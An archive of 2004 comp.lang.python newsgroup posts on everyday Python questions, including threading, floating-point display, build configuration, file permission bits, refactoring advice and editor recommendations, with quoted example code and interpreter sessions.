I see.  Well then, here is a version that doesn't have all the details, 
but it will properly handle working with and shutting down while dealing 
with one working thread.


import Queue
import threading

tocopy = Queue.Queue()
working = threading.Lock()


def workerthread():
     frame = wxGetApp().GetFrame()
     while 1:
         g_nGuiResult = tocopy.get()
         if working.acquire(0):
             #do whatever you were supposed to do
             wxPostEvent(frame, <notification of operation complete>)
         else:
             #we are supposed to shut down
             return

threading.Thread(target=workerthread).start()


     def OnOverwriteDlg(self, event):
         print "OnOverwriteDlg"
         dlg = COverwriteDlg ()
         dlg.m_strInfo = g_strTitle
         g_nGuiResult = dlg.ShowModal()
         print g_nGuiResult
         if a copy were supposed to happen:
             tocopy.put(g_nGuiResult)

     def OnClose(self, event):
         #save startup preferences
         # show a status update stating that we are waiting for the
         # worker thread to finish copying
         wxYield()          #so that the status update is actually shown
         working.acquire()  #get the working lock so that the worker
                            #thread is notified that it should quit
         tocopy.put(None)   #to wake up the worker thread if necessary


From bboman at research.panasonic.com  Mon Feb  9 11:27:28 2004
From: bboman at research.panasonic.com (bboman at research.panasonic.com)
Date: 9 Feb 2004 08:27:28 -0800
Subject: Jython and GIL
Message-ID: <418ab5dd.0402090827.39e1d31@posting.google.com>

Does Jython have a global interpreter lock like CPython?


From tjreedy at udel.edu  Mon Feb  9 23:50:15 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 9 Feb 2004 23:50:15 -0500
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
Message-ID: <c09nu8$q18$1@sea.gmane.org>


"Bart Nessux" <bart_nessux at hotmail.com> wrote in message
news:c09f8c$l2f$1 at solaris.cc.vt.edu...
> I understand that most people write functions to reuse code, no?

Another reason is to define, name, and embody a concept, even if the
function is only used once.

> Say I have a program that contains no functions. Say that it is all
global
> and it's written like a shell script. Say that it does what I intend it
to
> do exactly. More experienced programmers fuss that I have not used
> functions to write it. They complain about global variables, etc. But,
when
> I use functions and enclose everything in a one big function, I am in
> essence doing exactly what I was doing globally.

Are you in a position where you *have* to let such people read your code?

> Just asking for a bit of guidance. If my program works, should it be
> re-written to use functions or classes?

Working correctly is most important.  Next is running fast enough.  Then
you can consider whether you or another person can read, edit, or reuse six
months from now.  As for rewriting, would *you* gain some personal benefit
from doing so?

> Isn't Python flexible enough to allow for many approaches to how it is
used?

The language itself is.  So are most users, I believe.  It is intentionally
not a straightjacket language, even though some people find freedom from
braces to be constricting.

Python was made for people, not people for Python.  Ditto for programming
theories.

Terry J. Reedy






From rezaim_1999 at yahoo.com  Mon Feb  9 22:29:27 2004
From: rezaim_1999 at yahoo.com (Dave)
Date: 9 Feb 2004 19:29:27 -0800
Subject: Importing a package and looping through modules in the package
Message-ID: <eee922fc.0402091929.1764626d@posting.google.com>

Hi Everyone,

I am trying to import a package and then loop through the modules
inside the package, but I'm running to a problem.  Basically:
-----
I have a package called
regression.changepassword.unittests which contains test modules.
---
In a test agent module (called agent.a), I do the following:

from regression.changepassword.unittests import *
utilities.runTests("regression.changepassword.unittests.")
----
in the utilities.runTests, I do the following:
    for id in sys.modules.keys():
        if id.startswith(testtype) and sys.modules[id] != None:
            print "module id is: " + `id`
---------------------------------------------------
However, the loop is never executed since it seems the list of modules
in regression.changepassword.unittests is never added to the
sys.modules.  If I import the tests one by one as the follwing:

from regression.changepassword.unittests import CPWD_2
from regression.changepassword.unittests import CPWD_3

Then the program works and loops through the test modules correctly. 
Am I doing something wrong?  Or that is how Python works and I have to
import modules one by one.  I appreciate any help that you can offer
me and thanks for your time ( I apologize if my message is too long).

Thanks,
Bardia


From joe at notcharles.ca  Tue Feb 10 13:19:06 2004
From: joe at notcharles.ca (Joe Mason)
Date: Tue, 10 Feb 2004 18:19:06 GMT
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1402.1076396710.12720.python-list@python.org>
	<c0an8o$g7i$1@solaris.cc.vt.edu> <40290671.7A5864CA@engcorp.com>
Message-ID: <slrnc2i6jh.7jp.joe@gate.notcharles.ca>

In article <40290671.7A5864CA at engcorp.com>, Peter Hansen wrote:
> Bart Nessux wrote:
>> 
>> fp0 = os.popen("/sbin/ifconfig en0 inet", "r")
>> fp1 = os.popen("/usr/bin/uptime", "r")
>> fp2 = os.popen("/usr/bin/uname -a", "r")
>> fp3 = os.popen("/usr/bin/wc -l /etc/passwd", "r")
>> msg = MIMEText("-- IFCONFIG --\n\n" + fp0.read() + "\n-- UPTIME --\n\n"
>> +  fp1.read() + "\n-- UNAME --\n\n" + fp2.read() + "\n-- PASSWD LC
>> --\n\n" + fp3.read())
>> fp0.close()
>> fp1.close()
>> fp2.close()
>> fp3.close()
> 
> This sequence has duplication, so it could stand some refactoring.  Write
> a routine that executes a command and returns the result, then call it
> with various commands, something like this:
> 
> def cmd(c):
>     f = os.popen(c, 'r')
>     try:
>         result = f.read()
>     finally:
>         f.close()
>     return result
> 
> responses = [cmd(c) for c in
>     ['/sbin/ifconfig en0 inet', '/usr/bin/uptime', '/usr/bin/uname -a',
>      '/usb/bin/wc -l /etc/passwd']]
> 
> msg = MIMEText('blah %s, blah %s, blah %s, blah %s' % responses)
> 
> That's only one example of what you could do to simplify/make reusable
> code.
> 
> The best thing I know of to decide when to make a function is when you have
> code that is about to take responsibility for two different things.  Your
> code has responsibility for setting up user info, retrieving command output,
> execute four commands, generating the mail body from the results, 
> setting up the entire mail message, and sending the mail message.  That's
> six different areas of responsibility (give or take) and there should
> probably be at least three or four functions in there to handle some
> of those in a cleaner fashion.

Hee hee.  As the guy who disagreed with Terry before on philosophy, I'm
going to agree with him now on practicals.  There's no reason to split
up this code into three or four functions.  The only bit I don't like is
having all the read() calls inside the MIMEText string where it's easy
to miss them.  I would use Peter's cmd function, and just replace "fp? =
os.open(...)" with "r? = cmd(...)", and then change all the variable
names in MSG.  (If I were writing it for the first time, I might use
that loop comprehension depending on how many commands there are.  It's
a very useful shortcut if you're doing the same thing a lot, but it's
one more layer of comprehension you have to look past to see what the
code is doing.)

Joe


From godoy at ieee.org  Wed Feb 25 19:58:21 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Wed, 25 Feb 2004 21:58:21 -0300
Subject: [wxPython] table with long lines wrapped?
References: <c1i7pu$pe2$1@atlantis.news.tpi.pl>
Message-ID: <dusvg1-trj.ln1@wintermute.g2ctech>

On Wednesday 25 February 2004 10:26, Taki Jeden wrote:

> I'm trying to figure out how to produce, in wxPython, a
> table/list/grid/whatever which would wrap long lines, and of course adjust
> row height. But I can't find any ready-made widget, nor any sensible
> solution. My recent idea is to use wxHtmlWindow to produce ordinary html
> table - I hope somebody here knows a better way to do that :)

Have you looked at the demo? There's something like that there.

-- 
Godoy.      <godoy at ieee.org>


From virus.manager at st.com  Fri Feb  6 15:11:10 2004
From: virus.manager at st.com (virus.manager at st.com)
Date: Fri, 06 Feb 2004 20:11:10 -0000
Subject: Virus Alert
Message-ID: <20040206201110.813F9F5B5@zeta.dmz-eu.st.com>

The mail message (file: text.pif) you sent to <sumitm at mail.compulnk.com> contains a virus. (on zeta)



From junk at microsoft.com  Wed Feb 18 03:32:08 2004
From: junk at microsoft.com (Saravanan D)
Date: Wed, 18 Feb 2004 14:02:08 +0530
Subject: Sample Code for Performance Counters Implementation
Message-ID: <c0v81a$sra$1@news.mch.sbs.de>

Hello,

Can any one provide the sample Python code which implements Performance
Counters ?

Thanx in Advance

Saravanan D




From tim.one at comcast.net  Thu Feb  5 23:33:55 2004
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 5 Feb 2004 23:33:55 -0500
Subject: Python can't divide??!?!
In-Reply-To: <20040205183418.GA5364@nl.linux.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEIMIMAB.tim.one@comcast.net>

[Gerrit]
> I think what confuses people is that the simple reprentation in the
> interactive shell calls repr(), not str(). If it would, like Ruby, it
> would be even more confusing:
>
> 19:22:38:0:gerrit at optiplex:~$ irb
> irb(main):003:0> v=0.1+0.1+0.1+0.1+0.1+0.1+0.1+0.1+0.1+0.1
> => 1
> irb(main):004:0> v
> => 1
> irb(main):005:0> v==1
> => false

Or like Python used to do -- repr(float) used to be the same as str(float).
A consequence of the change is that everyone gets acquainted with fp reality
early now, and in much the same shallows ways.  They *used* to get tripped
up later, in subtler ways, such as finding out after a day's debugging that
(e.g.) an if test on "v == 1" in your kind of example above failed "for no
good reason at all".  It's easier to explain why 0.1 doesn't display as 0.1
(because it's not 0.1, that's why <wink>).




From stephendotboulet at motorola_._com  Thu Feb  5 14:05:29 2004
From: stephendotboulet at motorola_._com (Stephen Boulet)
Date: Thu, 05 Feb 2004 13:05:29 -0600
Subject: Python can't divide??!?!
In-Reply-To: <mailman.1252.1076003166.12720.python-list@python.org>
References: <mailman.1252.1076003166.12720.python-list@python.org>
Message-ID: <bvu493$8sg$1@newshost.mot.com>

Works fine here:

 >>> a = 3/5
 >>> b = 3/5.0
 >>> c = 3.0/3
 >>> d = 3.0/5.0
 >>>
 >>> print "%f %f %f %f" % (a,b,c,d)
0.000000 0.600000 1.000000 0.600000

but

 >>> print "%.17f %.17f %.17f %.17f" % (a,b,c,d)
0.00000000000000000 0.59999999999999998 1.00000000000000000 
0.59999999999999998

;)

Stephen


Dan Williams wrote:

> Ummmm...
> 
> This is weird. Sorry if it's known about (how can it NOT be, I wonder?) but
> I haven't seen any reference to it anywhere.
> 
> I'm running the latest Python (2.3.3) on Windows XP Pro, i386 architecture.
> 
> Fire up python or whatever.
> 
> Do this:     Result:
> 
> 3 / 5        0                       Fair enough, int / int = int
> 3 / 5.0      0.59999999999999998     eh?
> 3.0 / 3      0.59999999999999998     ummmm...
> 3.0 / 5.0    0.59999999999999998     how did I guess...
> 
> That's just an example. Python cannot divide. Period. If you try 1.0 / 3 you
> get 0.33333333333333331, and from this, the above example, and a few tests,
> I speculate that *something* is subtracting 2 from the last digit *after*
> the division is done.
> 
> Wacky.
> 
> Now, is this just me, or can someone else duplicate it? I've tried it on two
> computers here, but they're both Win XP. I'm about to test it on Linux but I
> figured I'd write this first.
> 
> Dan
> 
> 
> 


From binary101010 at yahoo.com  Thu Feb  5 16:28:25 2004
From: binary101010 at yahoo.com (se7en)
Date: 5 Feb 2004 13:28:25 -0800
Subject: how to run a python file with another file as an argument!
Message-ID: <ea69a371.0402051328.24de727a@posting.google.com>

okay,

i cant seem to run a file with another file as an argument.

e.g I want to send the file "x.met" as an argument when  running the file "y.py"

thanx
-python newbie-


From mwh at python.net  Thu Feb 19 07:25:04 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 19 Feb 2004 12:25:04 GMT
Subject: python 2.3.3 setup.py: why adding sys.prefix to include_dir,
 libdir?
References: <mailman.57.1077189724.27104.python-list@python.org>
Message-ID: <m3r7wri7ds.fsf@pc150.maths.bris.ac.uk>

"Holger Joukl" <Holger.Joukl at LBBW.de> writes:

> Hi there,
> 2 questions regarding build/installation issues:
> 
> 1. In the python 2.3.3 setup.py script, the detect_modules method of
> class PyBuildExt contains the following code:
> 
> 253         if os.path.normpath(sys.prefix) != '/usr':
> 254             add_dir_to_list(self.compiler.library_dirs,
> 255                             sysconfig.get_config_var("LIBDIR"))
> 256             add_dir_to_list(self.compiler.include_dirs,
> 257                             sysconfig.get_config_var("INCLUDEDIR"))
> 
> This basically just adds the PREFIX/lib and PREFIX/include to
> self.compiler.library_dirs
> and self.include_dirs, PREFIX being what I gave to configure as command
> line argument, e.g.:
> ./configure --prefix=/opt/tools --with-cxx=gcc
> 
> I understand the --prefix=PREFIX sets the installation _target_ directory.
> Does it make sense to have these paths in include_dirs/library_dirs? Why
> would I want this?

Well, to work completely out of the box setup.py would need to be
telepathic, omniscient and be able to see into the future.  We're
working on that <wink>, but not there yet.

So I wouldn't regard having to hand-hack setup.py as being in
particularly bad taste.

> In fact, as it turned out that I had some bogus header files in the
> PREFIX directory, an extension module would not compile.

Well, might I suggest not installing broken headers on your system?  I
mean, I can think of real reasons for not wanting $(prefix) on the
search path, but not this one.

> 2. As a lot of things do not live in the "standard" places in our
> environment, 

What is your environment, out of curiosity?

> there seem to be several places where I have to change setup.py
> manually. E.g. adding runtime library dirs for curses, gdbm etc.  Is
> there another way to achieve correct build, in terms of telling my
> non-standard paths to configure in the first place?

Er, no, or at least not in general.  Editing Modules/Setup is another
option...

> Just to spare me from changing setup.py...

... as is submitting patches to SF that make setup.py look in these
places, if they are in fact "standard" for your environment but not
for, say, Red Hat Linux.

Cheers,
mwh

-- 
  Never meddle in the affairs of NT. It is slow to boot and quick to
  crash.                                             -- Stephen Harris
               -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html


From merkosh at hadiko.de  Wed Feb 11 03:41:56 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Wed, 11 Feb 2004 09:41:56 +0100
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<6ee58e07.0402080823.75df2850@posting.google.com>
	<c0b0k2$fd7$1@news.rz.uni-karlsruhe.de>
	<c0bm5l$p3b$1@news.service.uci.edu>
Message-ID: <c0cpsk$k40$1@news.rz.uni-karlsruhe.de>

Josiah Carlson wrote:

>> What IDE /Editor do you use? I currently use Emacs and I find it very
>> hard to skip back and forth between methods and functions in larger
>> files.
> 
> I would imagine he uses his own editor: http://www.python-ide.com
> 
> I also don't have any issues editing 1-3k line files using my own
> editor: http://pype.sourceforge.net (PyPE itself is ~3900 lines).

I did some browsing and found another, quite nice one:
http://www.die-offenbachs.de/detlev/eric3.html

For small programs its the total overkill. It may be more usefull if you're
developing graphical programs, since it supports compiling Qt .ui files,
got some menubar entries for Qt Reference Manual, QLinguist,
QXXXDialog-Wizards, etc. (if you happen to like that sort of editor).

Nice features I found include:
- Unittest support (i.e. for rapid prototyping)
- refactoring tools

> I believe the major difference, at least in terms of scalability, has to
> do with the existance of a browsable source tree (aka a class browser).
>   It has helped me significantly.

What I am missing includes:
- browsable source tree :(
- Emacs's comment-box
- Emacs keyboard shortcuts      

If there anybody knows some other nice Editors you know, I'd like to know
about them.

Ciao
Uwe


From eurleif at ecritters.biz  Mon Feb  2 15:09:40 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Mon, 02 Feb 2004 20:09:40 GMT
Subject: OT: why do web BBS's and blogs get so slow?
In-Reply-To: <401E2E40.90204@mxm.dk>
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<401ce2b0$0$282$edfadb0f@dread12.news.tele.dk>
	<7xfzdus742.fsf@ruckus.brouhaha.com>
	<401df685$0$248$edfadb0f@dread12.news.tele.dk>
	<wIoTb.740$VP1.583556@newshog.newsread.com> <401E2E40.90204@mxm.dk>
Message-ID: <88yTb.769$VP1.603592@newshog.newsread.com>

Max M wrote:
> Leif K-Brooks wrote:
> 
>> Max M wrote:
>>
>>> Or even faster if "Hi <username>" was two gifs that could be loaded.
>>
>>
>> Please, don't lose accessibility for some petty speed gain.
> 
> I was talking about how to optimize for speed, and how designs can be 
> changed for the purpose of speed.
> 
> When you do that, somethings got to give.
> 
> Sometimes you don't have the technological possibility to do it right. 
> Then a "hack" like that can be in order.

I would take a slightly slower site over one that I can't use any day. 
How on earth do you expect blind people to use your site? What about 
people with text browsers or images disabled?


From nir1408 at hotmail.com  Wed Feb  4 21:34:57 2004
From: nir1408 at hotmail.com (Nir of the Waves)
Date: Thu, 5 Feb 2004 04:34:57 +0200
Subject: Theading problems in IDLE
Message-ID: <BAY10-DAV50L7cVB9eD0005a5fb@hotmail.com>

I noticed that in some circumstances IDLE does not behave right with multiple threaded scripts.

 

Is this problem known?

When exactly is this problem triggered?

How do I avoid it?

How do I work around it while still using threads?

 

IDLE 1.0.2, Python 2.3.3

 

Thanks,

Nir

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From jacek.generowicz at cern.ch  Tue Feb 24 09:41:02 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 24 Feb 2004 15:41:02 +0100
Subject: Distutils: compilation of generated code.
Message-ID: <tyfk72co801.fsf@pcepsft001.cern.ch>

I am using a Python program to generate the C++ source code of an
extension module in a package which is managed by distutils. What's
the best way to instruct distutils to re-generate the code before
compiling it, if and only if the generation program is newer than the
generated code ?

[Yes, I am aware that something like cog
http://www.nedbatchelder.com/code/cog/index.html offers an alternative
approach, but, for mainly political reasons, the package cannot depend
on anything not in the standard Python distribution.]


From tdelaney at avaya.com  Thu Feb  5 18:08:41 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Fri, 6 Feb 2004 10:08:41 +1100
Subject: counting references to an instance
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE0128F55C@au3010avexu1.global.avaya.com>

> From: Gerrit
>
> ...powers of two have a lot more refences, but 17 and 29 have 
> 2 references
> more than 18 or 28... interesting.
> 
> IIRC, Python keeps references of all small integers,
> apparantly all smaller than 100.

Actually -1 through to 99.

To understand why the various integers have various counts, have a look through the modules loaded at startup. Note the differences on my machine between 'python' and 'python -S' ...

C:\Documents and Settings\timothyd>c:\Python23\python.exe
Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys; [(i,sys.getrefcount(i)-3) for i in xrange(-1, 110)]
[(-1, 16), (0, 65), (1, 55), (2, 37), (3, 20), (4, 19), (5, 10), (6, 6), (7, 7),
 (8, 12), (9, 6), (10, 13), (11, 7), (12, 6), (13, 8), (14, 5), (15, 7), (16, 10
), (17, 5), (18, 5), (19, 6), (20, 6), (21, 7), (22, 7), (23, 8), (24, 5), (25,
5), (26, 5), (27, 5), (28, 5), (29, 5), (30, 5), (31, 5), (32, 9), (33, 5), (34,
 5), (35, 5), (36, 5), (37, 6), (38, 5), (39, 5), (40, 5), (41, 5), (42, 5), (43
, 5), (44, 5), (45, 5), (46, 5), (47, 5), (48, 5), (49, 5), (50, 5), (51, 5), (5
2, 5), (53, 5), (54, 5), (55, 6), (56, 6), (57, 5), (58, 5), (59, 5), (60, 5), (
61, 5), (62, 5), (63, 5), (64, 10), (65, 6), (66, 5), (67, 5), (68, 5), (69, 5),
 (70, 5), (71, 5), (72, 6), (73, 5), (74, 5), (75, 5), (76, 5), (77, 5), (78, 5)
, (79, 5), (80, 5), (81, 5), (82, 5), (83, 5), (84, 5), (85, 5), (86, 5), (87, 5
), (88, 5), (89, 5), (90, 5), (91, 5), (92, 5), (93, 5), (94, 5), (95, 5), (96,
5), (97, 5), (98, 5), (99, 5), (100, 0), (101, 0), (102, 0), (103, 0), (104, 0),
 (105, 0), (106, 0), (107, 0), (108, 0), (109, 0)]
>>>

C:\Documents and Settings\timothyd>c:\Python23\python.exe -S
Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on win32
>>> import sys; [(i,sys.getrefcount(i)-3) for i in xrange(-1, 110)]
[(-1, 10), (0, 45), (1, 35), (2, 22), (3, 11), (4, 11), (5, 3), (6, 2), (7, 3),
(8, 8), (9, 2), (10, 8), (11, 5), (12, 1), (13, 3), (14, 1), (15, 3), (16, 5), (
17, 1), (18, 1), (19, 1), (20, 1), (21, 3), (22, 4), (23, 3), (24, 1), (25, 1),
(26, 1), (27, 1), (28, 1), (29, 1), (30, 1), (31, 1), (32, 5), (33, 1), (34, 1),
 (35, 2), (36, 1), (37, 1), (38, 1), (39, 1), (40, 1), (41, 1), (42, 1), (43, 1)
, (44, 1), (45, 2), (46, 1), (47, 1), (48, 1), (49, 1), (50, 1), (51, 1), (52, 1
), (53, 1), (54, 1), (55, 1), (56, 2), (57, 1), (58, 1), (59, 1), (60, 1), (61,
1), (62, 1), (63, 1), (64, 6), (65, 1), (66, 1), (67, 1), (68, 1), (69, 1), (70,
 1), (71, 1), (72, 1), (73, 1), (74, 1), (75, 1), (76, 1), (77, 1), (78, 1), (79
, 1), (80, 1), (81, 1), (82, 1), (83, 1), (84, 1), (85, 1), (86, 1), (87, 1), (8
8, 1), (89, 1), (90, 1), (91, 1), (92, 1), (93, 1), (94, 1), (95, 1), (96, 1), (
97, 1), (98, 1), (99, 1), (100, 0), (101, 0), (102, 0), (103, 0), (104, 0), (105
, 0), (106, 0), (107, 0), (108, 0), (109, 0)]
>>>

Tim Delaney



From nir1408 at hotmail.com  Sun Feb 22 17:08:11 2004
From: nir1408 at hotmail.com (Ziaran)
Date: Mon, 23 Feb 2004 00:08:11 +0200
Subject: New debugger for multiple threads
Message-ID: <4039286e@news.bezeqint.net>

Hi,



I have written a modification to pdb.py debugger, called rpdb.py

It supports convenient debugging of scripts with multiple threads and more.

It works on Windows and on Unix systems that have xterm.

I believe it offers much better usability than pdb.py and hope you will find
it useful.



There are still little problems that I didn't have time to fix yet, but I
will do that soon.



You can grab it from here:

http://ziaran.freehosting.net/



I will appreciate any feedback a lot.

Nir (Ziaran)




From Florian.Lindner at xgm.de  Mon Feb 23 16:53:51 2004
From: Florian.Lindner at xgm.de (Florian Lindner)
Date: Mon, 23 Feb 2004 22:53:51 +0100
Subject: Library for handling GNU parameters
Message-ID: <c1dspf$8o5$05$1@news.t-online.com>

Hello,
is there a python library available for handling GNU parameters. For
example:

prog --filename=foo.bar   is the same as  prog -f foo.bar

or

prog --execute   ==  prog -e

I look for a library for parsing these string and represent the values in a
list.

Thx,
Florian


From steve at ninereeds.fsnet.co.uk  Thu Feb  5 21:49:26 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Fri, 06 Feb 2004 02:49:26 +0000
Subject: PEP 327: Decimal Data Type
References: <mailman.1036.1075467073.12720.python-list@python.org>
	<6ltk10h30riel0lghd18t5unjco2g26spi@4ax.com>
	<bvtj8j$f8j$1@panix2.panix.com>
Message-ID: <2rs520drarulomut79le1ujp0us44b6r14@4ax.com>

On 5 Feb 2004 09:16:51 -0500, aahz at pythoncraft.com (Aahz) wrote:

>In article <6ltk10h30riel0lghd18t5unjco2g26spi at 4ax.com>,
>Stephen Horne  <steve at ninereeds.fsnet.co.uk> wrote:
>>On Fri, 30 Jan 2004 09:49:05 -0300, "Batista, Facundo"
>><FBatista at uniFON.com.ar> wrote:
>>>
>>>I'll apreciate any feedback. Thank you all in advance.
>>
>>My concern is that many people will use a decimal type just because it
>>is there, without any consideration of whether they actually need it.
>>
>>95% of the time or more, all you need to do to represent money is to
>>use an integer and select appropriate units (pence rather than pounds,
>>cents rather than dollars, etc) so that the decimal point is just a
>>presentation issue when the value is printed/displayed but is never
>>needed in the internal representation.
>
>The problem lies precisely in that representation.  For starters, a
>binary integer is O(n^2) for conversion to decimal printing.

In practice, there is an upper limit to the size of number that occurs
in any financial use, and of course we are not talking about tens of
digits let alone hundreds, meaning that the conversion is most
sensibly treated as O(1) for each number converted.

Anyway, speeding up the presentation of results makes little sense if
you slow down all the arithmetic operations to do it.

>  Then
>there's the question about multi-currency conversions, or interest
>rates, or ....

Admittedly needing better than penny precision, but still fixed
precision (ie suiting an integer representation with an implicit scale
factor) and the results are rounded.

I work with a company that writes accounting software. We don't need
to worry about currency conversions, but we do need to worry about
interest and other cases where fractional pennies seem to be implied
(rates for taxes, allowances etc) and basically the fractional pennies
are never really an issue - you do have to be careful with the
rounding rules, but that applies whatever representation you use.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From SeeBelow at SeeBelow.Nut  Wed Feb 11 23:17:31 2004
From: SeeBelow at SeeBelow.Nut (SeeBelow at SeeBelow.Nut)
Date: Thu, 12 Feb 2004 04:17:31 GMT
Subject: Where to discuss SourceForge?
Message-ID: <402AFE7E.50DB1241@shaw.ca>

This post is somewhat off topic, but I know of no better place to post
it!
SourceForge is often mentioned here.  SourceForge itself hosts thousands
of forums, but none of them (AFAIK) are for discussing sourceforge
itself.  There does not seem to exist any forum where it's appropriate
to discuss SourcForge.
The SourceForge admins are therefore cut off from any public discussion
of their project.

I'm a fan of SourceForge, and I think it needs a forum, but I don't know
what to do about it.

If there is such a forum, please let me know!

Mitchell Timin

-- 
"Many are stubborn in pursuit of the path they have chosen, few in
pursuit of the goal." - Friedrich Nietzsche

http://annevolve.sourceforge.net is what I'm into nowadays.
Humans may write to me at this address: zenguy at shaw dot ca


From P at draigBrady.com  Fri Feb 13 06:44:51 2004
From: P at draigBrady.com (P at draigBrady.com)
Date: Fri, 13 Feb 2004 11:44:51 +0000
Subject: Understanding CHMOD
In-Reply-To: <8089854e.0402130055.35ed927f@posting.google.com>
References: <8089854e.0402130055.35ed927f@posting.google.com>
Message-ID: <402CB8B3.6070809@draigBrady.com>

Fuzzyman wrote:
> Ok.... so I might be a windoze user trying to program CGIs for a Linux
> server.... but Python doesn't seem to go out of it's way to make
> understanding file attributes difficult. The python manual is
> appalling in this are a :-(

agreed

> Anyway - I think I've finally worked out that the correct way to get
> (rather than set) the mode of a file is :
> 
> from stat import *
> S_IMODE(os.stat(filepath)[ST_MODE])
> 
> Obvious huh !
> 
> The result will be some bitmasked combination of the following ?
> 
> statlist = [S_ISUID, S_ISGID, S_ENFMT, S_ISVTX, S_IREAD, S_IWRITE,
> S_IEXEC, S_IRWXU, S_IRUSR, S_IWUSR, S_IXUSR, S_IRWXG,
>  S_IRGRP, S_IWGRP, S_IXGRP, S_IRWXO, S_IROTH, S_IWOTH, S_IXOTH]
> 
> Which mean ??????
> 
> Having obtained a result from S_IMODE(os.stat(filepath)[ST_MODE]), how
> do I work out what it means ?

These are the basic access permissions.

S_IRGRP
S_IROTH
S_IRUSR

S_IWGRP
S_IWOTH
S_IWUSR

S_IXGRP
S_IXOTH
S_IXUSR

There are some shortcut (confusing IMHO) entries:

S_IEXEC  = S_IXUSR
S_IWRITE = S_IWUSR
S_IREAD  = S_IRUSR

S_IRWXG  = stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP
S_IRWXO  = stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH
S_IRWXU  = stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR

The rest are "extended" attribute bits
and file type bits.

Here's a simplified ls access listing in python:

#!/usr/bin/env python

import sys
import stat
import os

filename=sys.argv[1]
mode=stat.S_IMODE(os.lstat(filename)[stat.ST_MODE])
perms="-"
for who in "USR", "GRP", "OTH":
     for what in "R", "W", "X":
         if mode & getattr(stat,"S_I"+what+who):
             perms=perms+what.lower()
         else:
             perms=perms+"-"
print perms + " " + filename

-- 
P?draig Brady - http://www.pixelbeat.org



From cookedm+news at physics.mcmaster.ca  Fri Feb 13 16:04:45 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Fri, 13 Feb 2004 16:04:45 -0500
Subject: Python as a teaching (visualization) tool
References: <c14vf1-386.ln1@jowls.lairds.org>
Message-ID: <qnkhdxuhes2.fsf@arbutus.physics.mcmaster.ca>

At some point, Kyler Laird <Kyler at news.Lairds.org> wrote:

> So I built one.
> 	http://lairds.us/ECE661/Hough
> *Now* I can see how the transform works.  Much better.  (The
> parameterization used is for detection of lines.)

That's a pretty cool use of <input type="image">.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From David  Sun Feb 22 10:56:19 2004
From: David (David)
Date: Sun, 22 Feb 2004 08:56:19 -0700
Subject: call a function every n mseconds
References: <slrnc3fuec.8pk.vedranf@rijeka.riteh.hr>
	<c191tb$l6j$1@news.service.uci.edu>
Message-ID: <91kh309ju78hdemctlh8h8837j1uvh4gp7@4ax.com>

On Sat, 21 Feb 2004 17:47:59 -0800, Josiah Carlson
<jcarlson at nospam.uci.edu> wrote:

>I guess it all depends on what you are doing.  If you didn't need to do 
>anything else, and didn't want to deal with threads:
>
>###beginning of code
>import time
>
>def runevery(msecs, function, args=(,), kwargs={}):
>     while 1:
>         function(*args, **kwargs)
>         time.sleep(msecs/1000.0)
>###end of code
>

If you use wxPython, you might want to use the wxTimer, which does
exactly what you're looking for.

If you use time.sleep, as in the example above, and the function takes
some amount of time, say deltaT, then your loop actually executes
every msecs+deltaT. This may or may not be an issue for you.

dave



From wfolta at netmail.to  Tue Feb 10 00:00:24 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Tue, 10 Feb 2004 00:00:24 -0500
Subject: Python style advice
In-Reply-To: <slrnc2enr8.bmp.ncw@irishsea.home.craig-wood.com>
References: <slrnc2enr8.bmp.ncw@irishsea.home.craig-wood.com>
Message-ID: <095BDE0F-5B86-11D8-A3D5-000A959CB2EC@netmail.to>

In the specific case where you're trying to map a variable-length 
argument list to local variables in a function, you can do the more 
Pythonic:

def myfunc (a = None, b = None, c = None)

I'd say the answer is similar for other tasks. There's probably a 
Pythonic way to do the overall task as opposed to a 
statement-by-statement translation.

> I'm tring to write what I would have expressed in Perl as
>
>     my ($a, $b, $c) = @array;
>
> This is very similar to the python statement
>
>     a, b, c = array
>
> BUT, the Python will throw an exception if array isn't exactly 3
> elements long, wheras the Perl will work for any length of @array,
> either throwing away excess elements or setting the variables to
> undef, ie like this
>
>     if len(array) >= 1:
>        a = array[0]
>     else:
>        a = None
>     if len(array) >= 2:
>        b = array[1]
>     else:
>        b = None
>     if len(array) >= 3:
>        c = array[2]
>     else:
>        c = None
>
> This works if array has >= 3 elements
>
>     a, b, c = array[:3]
>
> And this works however many elements array has
>
>     a, b, c = (array + 3*[None])[:3]
>
> but it doesn't seem very Pythonic - is there a better way?
>
> -- 
> Nick Craig-Wood
> ncw at axis.demon.co.uk
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>




From uce at ftc.gov  Tue Feb 24 18:32:38 2004
From: uce at ftc.gov (Gordon Airport)
